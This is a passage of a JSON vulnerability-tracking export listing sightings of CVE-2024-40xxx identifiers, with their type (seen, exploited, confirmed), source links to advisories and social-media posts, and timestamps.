{"vulnerability": "2024-40", "sightings": [{"uuid": "0ca467e9-074b-484e-b024-c0c7fe550b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "8ef3179e-6ae2-42ba-9d27-75d713d75f20", "vulnerability": "CVE-2024-40711", "type": "seen", "source": null, "content": "", "creation_timestamp": "2024-10-18T12:28:51.505750Z"}, {"uuid": "092a3d23-0e3b-449d-a33a-e1aa11e3c911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "8ef3179e-6ae2-42ba-9d27-75d713d75f20", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": null, "content": "", "creation_timestamp": "2024-10-18T12:30:02.511896Z"}, {"uuid": "82ad565b-3346-4cd8-a4d6-8cb04a5ce309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "8ef3179e-6ae2-42ba-9d27-75d713d75f20", "vulnerability": "CVE-2024-40711", "type": "confirmed", "source": null, "content": "", "creation_timestamp": "2024-10-18T12:30:05.615974Z"}, {"uuid": "34f77be4-4b0a-40b4-ab38-3486a01dfa0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40867", "type": "seen", "source": null, "content": "", "creation_timestamp": "2024-10-28T21:24:10.512628Z"}, {"uuid": "0a62a5a8-9278-4a8c-bec0-f9f2f054d639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40792", "type": "seen", "source": null, "content": "", "creation_timestamp": "2024-10-28T21:09:09.538174Z"}, {"uuid": "4cd53245-d0ef-41c9-87cb-c9da581cd097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40846", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1288/", "content": "", "creation_timestamp": "2024-09-25T05:00:00.000000Z"}, {"uuid": "fee780be-6a2d-40ff-ba80-c3cd98689355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40851", "type": "seen", "source": null, "content": "", "creation_timestamp": "2024-10-28T21:09:09.735704Z"}, {"uuid": "2812784a-73a3-467d-9072-d0608fe4a441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40853", "type": "seen", "source": null, "content": "", "creation_timestamp": "2024-10-28T21:09:09.885839Z"}, {"uuid": "8ea251ec-60aa-4d04-af5c-424ee42ef2c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40855", "type": "seen", "source": null, "content": "", "creation_timestamp": "2024-10-28T21:24:10.387954Z"}, {"uuid": "2becde33-39e7-4c3e-a0f4-9475818018fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40841", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1321/", "content": "", "creation_timestamp": "2024-10-02T05:00:00.000000Z"}, {"uuid": "86eee9c6-86d2-4792-b292-abefabf6cf29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40784", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1312/", "content": "", "creation_timestamp": "2024-10-02T05:00:00.000000Z"}, {"uuid": "a8ad3c00-b688-40dc-b9d0-50a675dd4a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40841", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1284/", "content": "", "creation_timestamp": "2024-09-25T05:00:00.000000Z"}, {"uuid": "e7249d25-6d0e-44cc-b4b4-a55ae199b538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40845", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1282/", "content": "", "creation_timestamp": "2024-09-25T05:00:00.000000Z"}, {"uuid": "37a8eb54-77cd-4fe7-8691-5e14f739b42c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40777", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1313/", "content": "", "creation_timestamp": "2024-10-02T05:00:00.000000Z"}, {"uuid": "c80882d9-55ff-4d83-a3cc-6c6e5ce3d162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40590", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113476053415922211", "content": "", "creation_timestamp": "2024-11-13T14:12:43.421544Z"}, {"uuid": "969bba26-a2a6-49d0-b70f-0afce2d150b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40715", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113442691028215303", "content": "", "creation_timestamp": "2024-11-07T16:48:14.051499Z"}, {"uuid": "c97963e4-29e7-4ca1-813f-ed70257af212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40715", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113447709284728496", "content": "", "creation_timestamp": "2024-11-08T14:04:26.284038Z"}, {"uuid": "a6d5ce76-673a-4b59-bd52-2af88f0269a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40240", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448588127545910", "content": "", "creation_timestamp": "2024-11-08T17:47:56.047323Z"}, {"uuid": "350f4d9a-17c0-4bef-a040-9f28baaf1112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40239", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113448588111941835", "content": "", "creation_timestamp": "2024-11-08T17:47:55.847444Z"}, {"uuid": "f47f12cc-bcaa-4a7c-b6a5-cd80a7704796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40711", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113448616305825738", "content": "", "creation_timestamp": "2024-11-08T17:55:06.668057Z"}, {"uuid": "49e34c30-e255-441a-8149-aa736c05b36e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40715", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1472/", "content": "", "creation_timestamp": "2024-11-12T06:00:00.000000Z"}, {"uuid": "b7b86ded-7155-4197-abb7-6d899109f76e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40592", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113471621703891497", "content": "", "creation_timestamp": "2024-11-12T19:25:40.926403Z"}, {"uuid": "e74843d7-8515-43de-b190-fd4d76c3ec69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/aaf97b2c-ad16-4ce6-928a-a440112d0fd3", "content": "", "creation_timestamp": "2024-09-16T19:13:31.000000Z"}, {"uuid": "d7ae0989-38dd-4a33-a24d-b909a10c18f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-10-17T18:10:02.000000Z"}, {"uuid": "2fda9fc1-2a98-417e-a66d-fad58ef6114e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-04-24T18:10:03.000000Z"}, {"uuid": "f35ead4d-4a34-4642-bf6e-01ade1d18b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-09-20T18:10:03.000000Z"}, {"uuid": "d2980475-cbce-4a40-a259-a808d490e812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40443", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113477289852591261", "content": "", "creation_timestamp": "2024-11-13T19:27:09.769814Z"}, {"uuid": "92f9f246-be5e-4c20-87c6-a13b25a67d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40885", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478709442262001", "content": "", "creation_timestamp": "2024-11-14T01:28:11.244841Z"}, {"uuid": "75ed3595-e3e1-475e-888d-a91a645bc082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40638", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113488323439962524", "content": "", "creation_timestamp": "2024-11-15T18:13:08.944478Z"}, {"uuid": "6fdd5516-4114-4a07-9593-ff4b1b7ce608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40763", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113600185597148773", "content": "", "creation_timestamp": "2024-12-05T12:21:10.211248Z"}, {"uuid": "146e29ea-a4ad-4d11-95a2-8fe44504ab8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40763", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600513695281317", "content": "", "creation_timestamp": "2024-12-05T13:44:36.410066Z"}, {"uuid": "758aa5e1-55e6-48e8-a03e-9796623e8b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40717", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113592013374741284", "content": "", "creation_timestamp": "2024-12-04T01:42:52.431921Z"}, {"uuid": "1bf1c93a-0a06-4230-b4a7-7e8db8e3c885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40691", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113589919639009226", "content": "", "creation_timestamp": "2024-12-03T16:50:23.822750Z"}, {"uuid": "8744c994-2f3c-4f1e-afc6-116ae2ee4b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40717", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113590271100041825", "content": "", "creation_timestamp": "2024-12-03T18:19:48.817589Z"}, {"uuid": "a9a8827d-3e72-43ee-8986-04a03b7c6224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40582", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113623679448406024", "content": "", "creation_timestamp": "2024-12-09T15:55:57.973717Z"}, {"uuid": "0350fd90-c52c-44a9-9cba-0a3e8b7f0f61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40583", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113623679448406024", "content": "", "creation_timestamp": "2024-12-09T15:55:58.023034Z"}, {"uuid": "e0c2aea0-d085-4897-a1ba-cb6b643f669a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40583", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113623679462789687", "content": "", "creation_timestamp": "2024-12-09T15:55:59.430367Z"}, {"uuid": "d8d07811-958c-40ef-a9ca-327d3b1e170a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40582", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113623679462789687", "content": "", "creation_timestamp": "2024-12-09T15:55:59.475727Z"}, {"uuid": "f1b1544a-b8d0-428f-bb83-cb791dcaaab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40695", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685460387605959", "content": "", "creation_timestamp": "2024-12-20T13:47:40.075667Z"}, {"uuid": "e7cfb435-e95a-466c-a38e-89914bb15e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40695", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldql6hmenh2s", "content": "", "creation_timestamp": "2024-12-20T14:15:55.413090Z"}, {"uuid": "e9cfe9ac-44a6-476f-aa6a-a67972719c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40875", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrcmqimm322", "content": "", "creation_timestamp": "2024-12-20T21:15:31.039051Z"}, {"uuid": "c03ed9d8-7b0b-45d9-9c07-a49caefbaf95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40875", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687004376620638", "content": "", "creation_timestamp": "2024-12-20T20:20:19.437012Z"}, {"uuid": "83d9b877-f6f7-44e6-a2a2-be1101838d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113703241691047496", "content": "", "creation_timestamp": "2024-12-23T17:09:41.184580Z"}, {"uuid": "3d71c95a-4bbc-49cd-a283-d06951518f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40702", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf63tg2uzf2r", "content": "", "creation_timestamp": "2025-01-07T16:43:47.992316Z"}, {"uuid": "c8acfc4f-9a77-4e41-8242-fc075ea64062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40702", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113788094631140974", "content": "", "creation_timestamp": "2025-01-07T16:48:54.630082Z"}, {"uuid": "71c6af42-5e3d-4aea-9ae7-96aa9830fa32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.358431Z"}, {"uuid": "cbd95811-bd01-4b24-949e-ac89b41cd36c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113822502051441311", "content": "", "creation_timestamp": "2025-01-13T18:39:10.408451Z"}, {"uuid": "d30e3a2e-1002-4718-be08-e1b6ec4aba59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40839", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfsniytqiw2u", "content": "", "creation_timestamp": "2025-01-15T20:53:19.722878Z"}, {"uuid": "d41ba2ee-ed74-4080-bc9d-c8af3ea87c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lf4ro6oim22m", "content": "", "creation_timestamp": "2025-01-07T04:09:12.530334Z"}, {"uuid": "792acd6b-fb72-44ab-8236-46ac9461e169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40747", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65mye7dj2o", "content": "", "creation_timestamp": "2025-01-07T17:15:56.944299Z"}, {"uuid": "e97a2eb7-0eca-49d7-b18c-b886982ffbf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65n34y672f", "content": "", "creation_timestamp": "2025-01-07T17:15:59.821318Z"}, {"uuid": "dab2aefc-67ba-4163-ac4e-9f625eaae91d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfbokr2zob24", "content": "", "creation_timestamp": "2025-01-09T02:56:55.325420Z"}, {"uuid": "4d7cefa6-3030-4c10-a213-ec54333e1d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40749", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf65n5unsz2o", "content": "", "creation_timestamp": "2025-01-07T17:16:02.673256Z"}, {"uuid": "df2a6a17-b8a0-4f01-98fc-2b1da33a44d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0004", "content": "", "creation_timestamp": "2025-01-08T08:57:24.000000Z"}, {"uuid": "feb099f7-44dc-4591-b7ee-ad3000a19aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf67hpn6mo2b", "content": "", "creation_timestamp": "2025-01-07T17:48:47.657397Z"}, {"uuid": "910339ee-5a7b-427f-a5f2-390f80ddcfc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40749", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf67hpwfwm25", "content": "", "creation_timestamp": "2025-01-07T17:48:48.483456Z"}, {"uuid": "215c9037-3679-4a25-9d3b-a77499199912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40747", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf67hq7ysz2k", "content": "", "creation_timestamp": "2025-01-07T17:48:50.303352Z"}, {"uuid": "22927185-96d3-4f6b-b2c9-94847c166740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3le622rsw4c22", "content": "", "creation_timestamp": "2024-12-25T22:46:53.583172Z"}, {"uuid": "1eace33e-4440-48f0-bf47-0ec168fa8188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3le622s76tc24", "content": "", "creation_timestamp": "2024-12-25T22:46:54.363929Z"}, {"uuid": "f2715061-9acf-4c52-b6fc-b57e0f027cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3le67wqk3rn2u", "content": "", "creation_timestamp": "2024-12-26T00:32:00.332849Z"}, {"uuid": "1a16f01c-96ec-458b-bae3-4a68f617a2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3le6i2cyyyc2t", "content": "", "creation_timestamp": "2024-12-26T02:57:10.098803Z"}, {"uuid": "6bf50f5d-dc42-4c4f-96b1-1bf3d0c1c27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3le6y6xrsn22s", "content": "", "creation_timestamp": "2024-12-26T07:46:11.810764Z"}, {"uuid": "5b55473c-d0f6-47bf-80d0-604257ff0cde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3le6ztay7h62s", "content": "", "creation_timestamp": "2024-12-26T08:15:21.737961Z"}, {"uuid": "e7cb1312-4f8b-4953-99f9-72fa940d9d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://infosec.exchange/users/alexandreborges/statuses/113719919393903166", "content": "", "creation_timestamp": "2024-12-26T15:51:03.489152Z"}, {"uuid": "f24ede1d-4571-4994-ac42-a4c1845c1d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40427", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788514243444533", "content": "", "creation_timestamp": "2025-01-07T18:35:37.068300Z"}, {"uuid": "2d0c3f2e-ba92-4700-8fd3-8cb39a3c5a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lf5acq2c552l", "content": "", "creation_timestamp": "2025-01-07T08:31:14.047387Z"}, {"uuid": "e12938e9-1740-4bba-b4b2-d91762d058db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/neroqc.bsky.social/post/3lfb4ikpgss2v", "content": "", "creation_timestamp": "2025-01-08T21:33:37.490861Z"}, {"uuid": "1ab88918-973d-45c9-b194-5431fa2485af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-011/", "content": "", "creation_timestamp": "2025-01-09T05:00:00.000000Z"}, {"uuid": "1ca0b7b1-50e1-4d5b-a9f3-377cc5663cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40702", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf62bwcj5p2l", "content": "", "creation_timestamp": "2025-01-07T16:16:04.491416Z"}, {"uuid": "18373bb0-7f24-4f83-b5fd-c145c765ea39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40427", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6edhkcpv2o", "content": "", "creation_timestamp": "2025-01-07T19:15:53.625245Z"}, {"uuid": "63661274-e399-47f5-9bf8-db7e33052215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://bsky.app/profile/r4335.bsky.social/post/3lecfa5krdk2c", "content": "", "creation_timestamp": "2024-12-27T16:17:32.723971Z"}, {"uuid": "813133af-67f4-47b7-9864-2f651657b229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40427", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6gfmqdix2i", "content": "", "creation_timestamp": "2025-01-07T19:52:53.607593Z"}, {"uuid": "74a494bd-15c8-4975-9835-78212579380b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40771", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113839291442592456", "content": "", "creation_timestamp": "2025-01-16T17:48:56.238526Z"}, {"uuid": "d2989ef5-4a75-452e-ad38-ed204ba9d3a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3leegz5z6zr2h", "content": "", "creation_timestamp": "2024-12-28T11:54:36.314501Z"}, {"uuid": "514ffc3b-8db8-4fd8-a241-086c44a30ed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797043947602873", "content": "", "creation_timestamp": "2025-01-09T06:44:50.009123Z"}, {"uuid": "fbabd644-e412-4af9-ac93-cacdccbb599f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40587", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113827414210516561", "content": "", "creation_timestamp": "2025-01-14T15:28:24.016046Z"}, 